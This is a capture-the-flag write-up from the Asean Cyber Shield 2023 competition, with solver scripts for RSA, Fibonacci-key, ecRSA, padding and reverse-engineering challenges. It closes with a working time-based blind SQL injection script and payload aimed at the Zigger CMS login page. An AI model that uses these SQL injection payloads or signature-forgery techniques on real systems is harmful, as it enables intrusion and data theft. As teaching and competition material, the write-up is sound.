# Asean Cyber Shield 2023 [QUALS and FINALS]
## Crypto [QUALS]
### Common RSA
```python=
# chall.py
from Crypto.Util.number import getPrime, bytes_to_long
from math import gcd
FLAG = b"ACS{?????????????????????????}"
class RSA:
def __init__(self):
self.p = getPrime(512)
self.q = getPrime(512)
self.n = self.p * self.q
self.e1 = 0x10001
self.e2 = 0x10003
assert gcd(self.e1, self.e2) == 1
assert gcd(self.e1, self.n) == 1
assert gcd(self.e2, self.n) == 1
def getPubKeys(self):
return (self.n, self.e1, self.e2)
def encrypt(self, m):
c1 = pow(m, self.e1, self.n)
c2 = pow(m, self.e2, self.n)
return (c1, c2)
rsa = RSA()
with open("pubkey.txt", "w") as f:
n, e1, e2 = rsa.getPubKeys()
f.write(f"{n}\n{e1}\n{e2}")
with open("ciphertexts.txt", "w") as f:
c1, c2 = rsa.encrypt(bytes_to_long(FLAG))
f.write(f"{c1}\n{c2}")
```
Given encryption scheme using RSA with 2 public $e1,e2$ that different. We know that $GCD(e1,e2) = 1$. And the different of $e2-e1 = 2$. This make some big problem leak information because we can find value of $Flag^2{\space}mod{\space}n$. The equation will be:
$$c1 = FLAG^{e1}$$$$c2 = FLAG^{e2}$$$$c2*c1^{-1} = FLAG^{e2-e1}$$$$FLAG^2 = c2*c1^{-1}$$
After getting $Flag^2$ we can find Flag just by doing sqrt mod n.
```python=
# solve.py
n = 151798642388037113811018958378137657993685455092850485442724380210449494948562438065241908373291003685092926779637963083491947591391619159652536147585036478723106569585124608391555798600577254245525732726133681780079153907891780299613770958387636919554574630254513742339024791779116952012938914178224296934261
e1 = 65537
e2 = 65539
c1 = 40484623901517443842786804306601874705216188257476641363163578348313167667314310386439419244904208320474107578625891334229529224715453792063593337575199350360650393467907278647049603351554639747016586375696746048862463118801429553166415564259339791238174259896483216977551264690637064291502469764455467816589
c2 = 26131442629994944883900141949959213729145024562514820488916932281022059266942054301226880998947378728223904070577555789927258181532633960472403688927536854859678562682055711090184399417354439263000793722252217506219821660195382053062963329694305123441806357529072885559760741511331691023685888498101475282910
import gmpy2
from Crypto.Util.number import *
m2 = (c2*inverse(c1, n))%n
flag = gmpy2.iroot(m2,2)[0]
# print(tonelli(m2, n))
print(long_to_bytes(flag))
```
### Fibo Crypt
```python=
# chall.py
from hashlib import sha512
from os import urandom
FLAG = b"ACS{??????????????????????????????????}"
def fib(k):
if k == 0:
return 0
if k == 1:
return 1
return fib(k - 1) + fib(k - 2)
def gen_key(k):
n = fib(k)
h = sha512(str(n).encode()).digest()
return h
def pad(m):
return m + b"".join([urandom(1) for _ in range(16 - (len(m) % 16))])
def unpad(m):
return m[:len(FLAG)]
def encrypt(m, key):
m = pad(m)
c = bytes([a ^ b for a, b in zip(m, key)])
return c
def decrypt(c, key):
m = bytes([a ^ b for a, b in zip(c, key)])
m = unpad(m)
return m
k = 0xC0FFEE
key = gen_key(k)
ct = encrypt(FLAG, key)
with open("output2.txt", "w") as f:
f.write(ct.hex())
pt = decrypt(ct, key)
assert pt == FLAG
```
Our goal is to guest big number in fibonacci number. My plan is solve fibonacci number with matrix exponential to decrease the time complexity and it works.
```python=
# solve.py
from hashlib import sha512
from os import urandom
FLAG = b"ACS{??????????????????????????????????}"
def fib(n):
F = [[1, 1],
[1, 0]]
if (n == 0):
return 0
power(F, n - 1)
return F[0][0]
def multiply(F, M):
x = (F[0][0] * M[0][0] +
F[0][1] * M[1][0])
y = (F[0][0] * M[0][1] +
F[0][1] * M[1][1])
z = (F[1][0] * M[0][0] +
F[1][1] * M[1][0])
w = (F[1][0] * M[0][1] +
F[1][1] * M[1][1])
F[0][0] = x
F[0][1] = y
F[1][0] = z
F[1][1] = w
def power(F, n):
if(n == 0 or n == 1):
return
M = [[1, 1],
[1, 0]]
power(F, n // 2)
multiply(F, F)
if (n % 2 != 0):
multiply(F, M)
def gen_key(k):
n = fib(k)
h = sha512(str(n).encode()).digest()
return h
def pad(m):
return m + b"".join([urandom(1) for _ in range(16 - (len(m) % 16))])
def unpad(m):
return m[:len(FLAG)]
def encrypt(m, key):
m = pad(m)
c = bytes([a ^ b for a, b in zip(m, key)])
return c
def decrypt(c, key):
m = bytes([a ^ b for a, b in zip(c, key)])
m = unpad(m)
return m
k = 0xC0FFEE
key = gen_key(k)
ct = bytes.fromhex('319a512c71a76716ecb1f6c102454d31fbeca8aca768a0f9c33bcc63a050eedc47b8d87a4332738bf3f9b888b8086ffe')
pt = decrypt(ct, key)
print(pt)
# assert pt == FLAG
```
> ACS{L34rn1ng_F4st_F1b0n4cc1_41g0r1thm5}
### Homo RSA
```python=
# server.py
#!/bin/env python3
from Crypto.Util.number import getPrime
from math import gcd
ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and"
FLAG = b"ACS{??????????????????????????????????????}"
class RSA:
def __init__(self):
self.p = getPrime(512)
self.q = getPrime(512)
self.n = self.p * self.q
self.e = 0x10001
assert gcd(self.e, self.n) == 1
self.phi = (self.p - 1) * (self.q - 1)
assert gcd(self.e, self.phi) == 1
self.d = pow(self.e, -1, self.phi)
def getPubKeys(self):
return (self.n, self.e)
def sign(self, m: bytes):
return pow(int(m.hex(), 16), self.d, self.n)
def verify(self, s: bytes):
return pow(int(s.hex(), 16), self.e, self.n) == int(ADMIN_MSG.hex(), 16)
def welcome():
welcome_msg = """
██╗░░██╗░█████╗░███╗░░░███╗░█████╗░██████╗░░██████╗░█████╗░
██║░░██║██╔══██╗████╗░████║██╔══██╗██╔══██╗██╔════╝██╔══██╗
███████║██║░░██║██╔████╔██║██║░░██║██████╔╝╚█████╗░███████║
██╔══██║██║░░██║██║╚██╔╝██║██║░░██║██╔══██╗░╚═══██╗██╔══██║
██║░░██║╚█████╔╝██║░╚═╝░██║╚█████╔╝██║░░██║██████╔╝██║░░██║
╚═╝░░╚═╝░╚════╝░╚═╝░░░░░╚═╝░╚════╝░╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝
"""
print(welcome_msg)
def menu():
print("[1] Sign")
print("[2] Verify")
print("[3] Exit")
welcome()
rsa = RSA()
n, e = rsa.getPubKeys()
print("[+] Public Modulus: ", hex(n))
print("[+] Public Exponent: ", hex(e))
print('-'*64)
while True:
menu()
try:
option = int(input("> "))
if option == 1:
try:
message = bytes.fromhex(input("message(hex)> "))
if message == ADMIN_MSG:
print("[-] Signing admin's message is not allowed! ╯(‵□′)╯︵┻━┻")
else:
print("[+] Signature: ", hex(rsa.sign(message)))
except:
print("[-] Invalid message! ╰(‵□′)╯")
if option == 2:
try:
signature = bytes.fromhex(input("signature(hex)> "))
verified = rsa.verify(signature)
if verified:
print("[+] Welcome! You deserve this: : ", FLAG)
break
else:
print("[+] Verified: ", verified)
except:
print("[-] Invalid signature! ╰(‵□′)╯")
if option == 3:
print("[+] Bye! o(≧▽≦)/~")
break
except:
print("[-] Invalid option! ╰(‵□′)╯")
```
After reading the source code i know is the service is vulnerable with Homomorphic Attacks on RSA. Then i just implemented it using junk is $newSign = Sign * 2$ and it works.
```python=
# solve.py
from pwn import *
import sys
from Crypto.Util.number import *
# io = remote(sys.argv[1],sys.argv[2])
io = process("./chal.py")
ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and"
am = bytes_to_long(ADMIN_MSG)
# io.interactive()
io.recvuntil(b'Modulus: ')
n = int(io.recvline().decode().strip(),16)
io.recvuntil(b'Exponent: ')
e = int(io.recvline().decode().strip(),16)
io.recvuntil(b'> ')
io.sendline(b'1')
io.recvuntil(b')> ')
io.sendline(b'02')
# io.interactive()
io.recvuntil(b'Signature: ')
s1 = int(io.recvline().decode().strip(),16)
io.recvuntil(b'> ')
io.sendline(b'1')
io.recvuntil(b')> ')
io.sendline(hex(am*2).encode()[2:])
# print(hex(am*2).encode())
io.recvuntil(b'Signature: ')
s2 = int(io.recvline().decode().strip(),16)
idua = inverse(s1, n)
md = (idua*s2)%n
io.recvuntil(b'> ')
io.sendline(b'2')
io.recvuntil(b')> ')
io.sendline(hex(md).encode()[2:])
flag = io.recvline()
print(flag)
```
> ACS{th3_SeC0nD_1s_t0_rEpe4t_7he_5amE_tH1n6}
## Crypto [FINALS]
### Fibo Crypt2
```python=
from hashlib import sha512
from os import urandom
FLAG = b"ACS{????????????????????????????????????????????????????}"
def fib(k):
if k == 0:
return 0
if k == 1:
return 1
return 0xCA11 * fib(k - 1) + 0xCAFE * fib(k - 2)
def gen_key(k):
n = fib(k)
h = sha512(str(n).encode()).digest()
return h
def pad(m):
return m + b"".join([urandom(1) for _ in range(16 - (len(m) % 16))])
def unpad(m):
return m[:len(FLAG)]
def encrypt(m, key):
m = pad(m)
c = bytes([a ^ b for a, b in zip(m, key)])
return c
def decrypt(c, key):
m = bytes([a ^ b for a, b in zip(c, key)])
m = unpad(m)
return m
k = 0xC0FFEE
key = gen_key(k)
ct = encrypt(FLAG, key)
with open("output.txt", "w") as f:
f.write(ct.hex())
pt = decrypt(ct, key)
assert pt == FLAG
```
This problem just to guest big Modified Fibonacci number. The equation of Fibonacci is:
$$F(n)=a*F(n-1)+b*F(n-2)$$$$a=0xCA11$$$$b=0xCAFE$$.
From this [link](https://discuss.codechef.com/t/calculate-f-n-a-f-n-1-b-f-n-2-matrix-exponentiation/4971) i just need to change the matrix value from FiboCrypt problem to solve it. And also to control big number on python i use gmpy2.mpz function.
```python=
import gmpy2
def fibs(n):
F = [[gmpy2.mpz(0xCA11), gmpy2.mpz(0xCAFE)],
[gmpy2.mpz(1), gmpy2.mpz(0)]]
if (n == 0):
return 0
power(F, n - 1)
return F[0][0]
def multiply(F, M):
x = (F[0][0] * M[0][0] +
F[0][1] * M[1][0])
y = (F[0][0] * M[0][1] +
F[0][1] * M[1][1])
z = (F[1][0] * M[0][0] +
F[1][1] * M[1][0])
w = (F[1][0] * M[0][1] +
F[1][1] * M[1][1])
F[0][0] = gmpy2.mpz(x)
F[0][1] = gmpy2.mpz(y)
F[1][0] = gmpy2.mpz(z)
F[1][1] = gmpy2.mpz(w)
def power(F, n):
if(n == 0 or n == 1):
return
M = [[gmpy2.mpz(0xCA11), gmpy2.mpz(0xCAFE)],
[gmpy2.mpz(1), gmpy2.mpz(0)]]
power(F, n // 2)
multiply(F, F)
if (n % 2 != 0):
multiply(F, M)
def fib(k):
if k == 0:
return 0
if k == 1:
return 1
return 0xCA11 * fib(k - 1) + 0xCAFE * fib(k - 2)
from hashlib import sha512
FLAG = b"ACS{????????????????????????????????????????????????????}"
print(fib(6))
print(fibs(6))
def gen_key(k):
n = fibs(k)
h = sha512(str(n).encode()).digest()
return h
# def pad(m):
# return m + b"".join([urandom(1) for _ in range(16 - (len(m) % 16))])
def unpad(m):
return m[:len(FLAG)]
# def encrypt(m, key):
# m = pad(m)
# c = bytes([a ^ b for a, b in zip(m, key)])
# return c
def decrypt(c, key):
m = bytes([a ^ b for a, b in zip(c, key)])
m = unpad(m)
return m
k = 0xC0FFEE
key = gen_key(k)
ct = bytes.fromhex('49416260b622d2f72c26599df7a49bff5f048e5f29f1a30a79c8be8eb21cb9e2793e87e8ab9edbc84d6547e5172fc6f7fd23afd38d09675067be908879b53a05')
pt = decrypt(ct, key)
print(pt)
# assert pt == FLAG
```

> ACS{S0lv1ng_l1ne4r_r3curr3nc3_relat1on_1s_4ll_ab0ut_m4th}
### ecRSA
```python=
# ecrsa.py
from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from math import prod
class RSA:
def __init__(self, size):
# Check size is power of two or not
if not ((size & (size-1) == 0) and size != 0):
return False
self.p = self.getSPrime(size // 2)
self.q = self.getSPrime(size // 2)
self.n = self.p * self.q
self.e = 65537
self.d = pow(self.e, -1, (self.p-1)*(self.q-1))
def getSPrime(self, size, s=16):
while True:
p = 2 * prod([getPrime(s) for _ in range(size//s)]) + 1
if isPrime(p):
break
return p
def encrypt(self, m: int):
return pow(m, self.e, self.n)
class EC:
def __init__(self, p, a, b):
self.p = p
self.a = a
self.b = b
def __call__(self, x, y):
return Point(x, y, self)
def __repr__(self):
return f"Elliptic Curve defined by y^2 = x^3 + {self.a}*x + {self.b} over Finite Field of size {self.p}"
class Point:
def __init__(self, x, y, ec=None):
# Check whether a point is on curve
# if ec:
# assert (y**2 % ec.p) == (x**3 + ec.a*x + ec.b) % ec.p
self.x = x
self.y = y
self.ec = ec
def __add__(P, Q):
if P == 0:
return Q
if Q == 0:
return P
...
# basic point source code
...
rsa = RSA(512)
p = rsa.p
a = !!![--REDACTED--]!!!
b = !!![--REDACTED--]!!!
E = EC(p, a, b)
gx = !!![--REDACTED--]!!!
gy = !!![--REDACTED--]!!!
G = E(gx, gy)
P = rsa.d * G
with open("flag", "rb") as f:
FLAG = f.read()
ciphertext = rsa.encrypt(bytes_to_long(FLAG))
with open("pubkey.txt", "w") as f:
f.write(f"n = {rsa.n}\ne = {rsa.e}\n")
```
```python=
# app.py
from ecrsa import *
from flask import Flask, request, render_template, jsonify, abort
app = Flask(__name__)
status = 0
@app.route('/')
@app.route("/index", methods=["GET"])
def index():
return render_template("index.html", points=[G, 2*G, 3*G, 4*G, 5*G, 6*G])
@app.route("/travel", methods=["POST"])
def travel():
global status
try:
x = int(request.form["x"])
y = int(request.form["y"])
except:
return jsonify({"message": "Only decimal numbers are allowed"})
if (x == P.x) and (y == P.y):
status = 1
return render_template("travel.html", status=status)
@app.route("/star", methods=["GET"])
def landing():
global status
if status:
status = 0
return render_template("star.html", ct=hex(ciphertext)[2:])
abort(401)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=30002, debug=False)
```
From the challenge we can getting public value about $\{{G1, G2, G3, ..., G6\}}$. Because modulus of elliptic curve $p$ also using in RSA as private key we just want to recover public value of Elliptic Curve. Then, another purpose is to searching the Ciphertext and it need $P$ Point value. To get $P$ value we need also for $d$ and $p$.
$$2*G1=G2$$$$2*G2=G4$$$$2*G3=G6$$
From those, we can recover modulus $p$ on Elliptic Curve.\
$$R = P+P$$$$(R.y+P.y)*2*y1 = (3*P.x^2 + a)*(x1 - x3){\space}mod{\space}p$$$$(R.y+P.y)*2*y1-(3*P.x^2)*(x1 - x3)= a*(x1 - x3){\space}mod{\space}p$$
When we subtitute point $G$ into $R$ and $P$ we can eliminate the equation to get the value that make $K = 0{\space}mod{\space}p$. And then $p=GCD(K,n)$. After getting $p$ we can recover $a$ value and getting $ciphertext$ by calculating $P$ points.
```python=
# solver.py
import math
import requests
from ecrsa_mod import EC, Point
from Crypto.Util.number import *
url = "http://192.168.0.52:30002/"
resp = requests.get(url)
# print(resp.text)
rdata = resp.text.split(';" onclick="showCoord(this)">')[1:-1]
datas = []
for i in rdata:
sig = i.split('value="')[1:]
pnt = []
for j in sig:
temp = int(j.split('" readonly')[0])
pnt.append(temp)
datas.append(pnt)
print(len(datas),"datas")
# exit(1)
G = datas[0]
# yr*2yp = (3xp^2+a)(xp – xr) – yp mod p
# x1, y1 = P.x, P.y
# x2, y2 = Q.x, Q.y
# ec = P.ec
# p = ec.p
# if (x1 == x2) and (y1 == -y2 % p):
# return 0
# if (x1 == x2) and (y1 == y2):
# ld = (3*x1**2 + ec.a) * pow(2 * y1, -1, p) % p
# else:
# ld = (y2 - y1) * pow(x2 - x1, -1, p) % p
# x3 = (ld ** 2 - x1 - x2) % p
# y3 = (ld * (x1 - x3) - y1) % p
def calc(pp,rr):
xp, yp = pp
xr, yr = rr
a = (xp-xr)
b = (yr+yp)*2*yp - (3*xp**2*(xp-xr))
return a, b
a1_12, b2_12 = calc(datas[0], datas[1])
a1_24, b2_24 = calc(datas[1], datas[3])
# a1_36, b2_36 = calc(datas[2], datas[5])
dua_1 = b2_24*-a1_12
dua_2 = b2_12*-a1_24
print(dua_1-dua_2)
n = 5010908182051933945309023640427569779937102661040535651559399453772924747454773140231979076043545176724572202452399324948115651892814794306841540697981
p = math.gcd(dua_1-dua_2,5010908182051933945309023640427569779937102661040535651559399453772924747454773140231979076043545176724572202452399324948115651892814794306841540697981)
q = n//p
phi = (p-1)*(q-1)
e = 65537
d = pow(e,-1,phi)
# recovery a value
a = a1_12%p
b = b2_12%p
a = (inverse(a, p)*b)%p
ecs = EC(p,a,27)
print("generate ecs is validd")
G = ecs(G[0], G[1])
P = d*G
print(P.x, P.y)
ct = int("b4912ba504140be5f762b0445b45c349f54724f5c9e23a781b74e835afd1cd8ce465d0ca19fb9bfb89acffce586f5ccf44a8902b183649f6038b1fb1d8214",16)
# resp = requests.get(url+"/star")
# print(resp.text)
flag = long_to_bytes(pow(ct, d, n))
print(flag)
```



> ACS{D1v1ng_iNt0_tH3_d33P_cRypt0_g41Axy}
### bbRSA
```python=
# server.py
@app.route("/login", methods=["POST"])
def login():
global isLoggedIn
data = request.json
userid = data.get("id")
userpw = data.get("pw")
if userid == "admin":
try:
userpw = int(userpw, 16)
except:
return jsonify({"status": "error", "message": "Password must be in hexadecimal format"})
userpw = oracle.decrypt(userpw)
userpw = userpw.to_bytes(size//8, "big")
if oracle.pkcs1pad2_verify(userpw):
if oracle.pkcs1unpad2(userpw) == PASS.encode():
isLoggedIn = True
app.logger.info(f"LOGIN_OK:{request.remote_addr} - - {data}")
return jsonify({"status": "success", "message": "Login success"})
else:
return jsonify({"status": "error", "message": "Wrong password"})
else:
return jsonify({"status": "error", "message": "Padding is incorrect"})
else:
return jsonify({"status": "error", "message": "User not found"})
@app.route("/home")
def home():
global isLoggedIn
if isLoggedIn:
isLoggedIn = False # prevent permanent access on home
return render_template("home.html", FLAG=FLAG)
abort(401)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=30001, debug=False)
```
```python=
# rsa.py
from Crypto.Util.number import getPrime
from os import urandom
class RSA:
def __init__(self, size: int):
# Check size is power of two or not
if not ((size & (size-1) == 0) and size != 0):
return False
self.k = size // 8
self.p = getPrime(size // 2)
self.q = getPrime(size // 2)
self.n = self.p * self.q
self.e = 0x10001
self.d = pow(self.e, -1, (self.p - 1) * (self.q - 1))
def getPublicKeys(self):
return (self.n, self.e)
def encrypt(self, m: int):
return pow(m, self.e, self.n)
def decrypt(self, c: int):
return pow(c, self.d, self.n)
def pkcs1pad2(self, message: bytes):
return b"\x00\x02" + urandom(self.k - 3 - len(message)) + b"\x00" + message
def pkcs1unpad2(self, padded: bytes):
return padded[padded.index(b"\x00", 2) + 1:]
def pkcs1pad2_verify(self, padded: bytes):
if padded[0:2] != b"\x00\x02":
return False
try:
padded.index(b"\x00", 2)
except:
return False
return True
```
Getting some service login and our objective is just login and getting the flag. If I look again in more detail on server.py the variable isLoggedIn is the control variable to getting the flag, just send to server the encrypted $ciphertext$ and getting back from server once. And also the ciphertext can getout from the $log$ file.
```log=
[16/Oct/2023 13:28:09]:INFO:LOG_TEST:127.0.0.1 - - {'id': 'admin', 'pw': '5eed7bbb4233e9bb8df8252a1c5ef9b93757d7f5455ac374a018b834ef2886b675aaff23768f9b5d35b0c84a2168ba87bf2b43a10890fe50749a3279042a93b301662876ec8d2c979b6d006f8992ec9b417378b0178a3b45e5c53caf6a23d5661d0042808e05c258fe825ec4a3f8cae84e422c13b72d009a716bf761916a775cbdfb9fc543a6ab99021d2a19ae1b16c86a2015cf8fcc2a296f5cad02abdb82c33a44e95e2db7a59c07b89b9974cf5aab8e8f318111c8308cafc4ef5c8961baa1d4884db3a2f4d856fbba9239b721abc7b230618caf6bb8ce5520f664af2f7dfe1321bc37952c5b3a7efaaa8e01e575d00493149dd550343655f058aadcd8c7ea'}
```
Then i got the flag after send $ciphertext$ server.
```python=
# send.py
import requests
# from rsa import RSA
ct = "5eed7bbb4233e9bb8df8252a1c5ef9b93757d7f5455ac374a018b834ef2886b675aaff23768f9b5d35b0c84a2168ba87bf2b43a10890fe50749a3279042a93b301662876ec8d2c979b6d006f8992ec9b417378b0178a3b45e5c53caf6a23d5661d0042808e05c258fe825ec4a3f8cae84e422c13b72d009a716bf761916a775cbdfb9fc543a6ab99021d2a19ae1b16c86a2015cf8fcc2a296f5cad02abdb82c33a44e95e2db7a59c07b89b9974cf5aab8e8f318111c8308cafc4ef5c8961baa1d4884db3a2f4d856fbba9239b721abc7b230618caf6bb8ce5520f664af2f7dfe1321bc37952c5b3a7efaaa8e01e575d00493149dd550343655f058aadcd8c7ea"
url = "http://192.168.0.52:30001/index"
resp = requests.post("http://192.168.0.52:30001/login", json={"id":"admin","pw":ct})
print(resp.text)
```


> ACS{BLEICHENBACHER'S_PKCS#1_RSA_PADDING_ORACLE_ATTACK}
## Reverse [FINALS]
### BabyRev

After the decompiler i got one big function to reverse. This just kind of calls another function that is so simple like an operator (“+”,”-”,”^”, and another equation). We can know from decompiler function like sub_401388, sub_4013A6, and else. Then after it to checking the flag there was function to compare every 4 char with main function sub_401478. My plan is to bruteforce every 4 charackter and compare with every result that save on data. I choose use c++ to decrease time used.

Then I want to convert those functions to C++ then try to brute force every four characters from the function.
```cpp=
// solver.cpp
#include<iostream>
#include<cstdlib>
using namespace std;
unsigned long _byteswap_ulong(unsigned long x) {
return ((x >> 24) & 0x000000FF) | // Move the first byte to the last
((x >> 8) & 0x0000FF00) | // Move the second byte to the third
((x << 8) & 0x00FF0000) | // Move the third byte to the second
((x << 24) & 0xFF000000); // Move the last byte to the first
}
int64_t sub_40131C(int a1,int a2){
return (unsigned int)(a1 - a2);
}
int64_t sub_401375(unsigned int a1, int a2){
return a2 ^ a1;
}
int64_t sub_40138B(unsigned int a1){
return _byteswap_ulong(a1);
}
int64_t sub_401304(int a1, int a2)
{
return (unsigned int)(a1 + a2);
}
int64_t sub_4013A6(int a1, int a2)
{
return 6 * a1
+ a2
+ (a2 ^ a1)
+ 4 * ~(a2 | a1)
+ 4 * (a2 & ~a1)
- (a2 ^ a1)
- (a2 | a1)
- (a1 | ~a2)
+ 5 * ~a2
- (a2 ^ a1)
- (a2 | a1)
- 2 * ~a1
- 4 * ~(a2 | a1)
- 4 * (a1 & ~a2)
+ 3 * (a2 & (unsigned int)~a1)
+ 2;
}
int byte_40F0C0[] = {
0xB0, 0xBF, 0x5D, 0x21, 0xB3, 0x22, 0xEF, 0xAF, 0x27, 0x65,
0x93, 0x41, 0x73, 0x86, 0x3E, 0x60, 0x98, 0xCF, 0x37, 0xDD,
0xD1, 0x82, 0xD7, 0x78, 0x36, 0xA5, 0xB7, 0x45, 0xE6, 0x23,
0x4D, 0xC8, 0x7B, 0x46, 0x97, 0x95, 0xF5, 0x35, 0xAB, 0x2B,
0xFD, 0x05, 0x4C, 0xD9, 0x89, 0x72, 0x2D, 0x9E, 0xBC, 0x2E,
0x3D, 0x4A, 0x7D, 0x05, 0x44, 0xBB, 0xC8, 0xD5, 0xC1, 0x2A,
0x64, 0xE9, 0x90, 0x41, 0x16, 0x7E, 0x2A, 0x8B, 0x9B, 0xA0,
0xB8, 0x51, 0xD2, 0x73, 0xFA, 0xD9, 0x73, 0xD9, 0xFF, 0x94,
0x0D, 0x51, 0x3B, 0xC7, 0x35, 0xBD, 0x85, 0x7F};
int64_t sub_40147B(unsigned int a1, int a2)
{
unsigned int v2; // eax
unsigned int v3; // eax
unsigned int v4; // eax
unsigned int v5; // eax
...
// just decompile the binary to get full function
// 4500++ line
...
v2602 = sub_401375(v2601, 1402488867LL);
v2603 = sub_40138B(v2602);
v2604 = sub_401304(v2603, 3342811139LL);
v2605 = sub_40138B(v2604);
v2627 = sub_401375(v2605, 3065989656LL);
for ( i12 = 3; ; --i12 )
{
if ( i12 < 0 )
goto LABEL_133;
if ( (unsigned int8_t)(v2627 >> (8 * i12)) != byte_40F0C0[4 * a2 - i12 + 3] )
break;
}
result = 0LL;
break;
default:
LABEL_133:
result = 1LL;
break;
}
return result;
}
int main(){
string printer = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\\\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c";
cout<<printer.length()<<endl;
string flag = "";
for(int runtime=0;runtime<22;runtime++){
cout<<"SEARCHINGFLAG on: "<<runtime<<" index."<<endl;
int ind = 1;
for(int i=0;i<101;i++){
for(int j=0;j<101;j++){
for(int k=0;k<101;k++){
for(int l=0;l<101;l++){
int a1=(int)(printer[i]);
int a2=(int)(printer[j]);
int a3=(int)(printer[k]);
int a4=(int)(printer[l]);
if(ind%20000000==0) cout<<ind<<endl;
int temp = (a1<<24) | (a2<<16) | (a3<<8) | (a4);
// v14 = (*((char *)buf + 4 * i + 2) << 8) | (*((char *)buf + 4 * i + 1) << 16) | (*((char *)buf + 4 * i) << 24) | *((char *)buf + ((4 * i) | 3));
if(sub_40147B(temp, runtime)!=0){
cout<<"KETEMU"<<endl;
cout<<i<<" "<<j<<" "<<k<<" "<<l<<endl;
flag+=printer[i];
flag+=printer[j];
flag+=printer[k];
flag+=printer[l];
}
ind+=1;
}
}
}
}
cout<<"FLAG: "<<flag<<endl;
}
return 0;
}
```

> ACS{V2l0aCBncmVhdCBwb3dlciBjb21lcyBncmVhdCByZXNwb25zaWJpbGl0eS4gLSBTcGlkZXItbWFuIGZpbG1zCg==}
## Web [FINALS]
### Zigger Zagger
We getting some web application (A Zigger Web CMS from Korea).
A Zigger Web CMS that has a vulnerability.
After we analyzing the page and source code, we found that the login page have a sql vulnerability.

at first we try bypass the login but failed, and then we tried in Ghauri (Tools For SQL)

Ghauri found the technique which is TIME - BASED, so we Tried to retrieve the flag from the database with TIME-BASED Blind SQL. But there is a limit in the password parameter which is 50. So we try to craft short payload and i get the payload.
```python=
payload = '\')|IF(MID((select*from flag),'+str(ind)+',1)=\''+a+'\',SLEEP(1),\''
```
I known the table because we get file flag.sql
```sql=
use zigger;
create table flag (flag varchar(40));
insert into flag values ('ACS{fakeflag}');
```
```python=
# solve.py
import requests
import string
url = 'http://192.168.0.52:22030/sign/signin-submit?rewritetype=submit'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0',
'Accept': 'text/html, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Referer': 'http://192.168.0.52:22030/sign/signin?redirect=%2F'
}
import time
flag = []
for ind in range(1, 21):
mb = []
for a in string.printable:
tt = time.time()
payload = 'id=admin&pwd=\')|IF(MID((select*from flag),'+str(ind)+',1)=\''+a+'\',SLEEP(1),\''
response = requests.post(url, headers=headers, data=payload)
resp = time.time()-tt
# print(resp)
if(int(resp)>0):
mb.append(a)
# print(flag)
# break
# break
print(mb)
flag.append(mb)
print(response.text)
# use zigger;
# create table flag (flag varchar(40));
# insert into flag values ('ACS{fakeflag}');
print(len(payload.split("pwd=")[1]))
```

> ACS{ziggersqligoodverygood}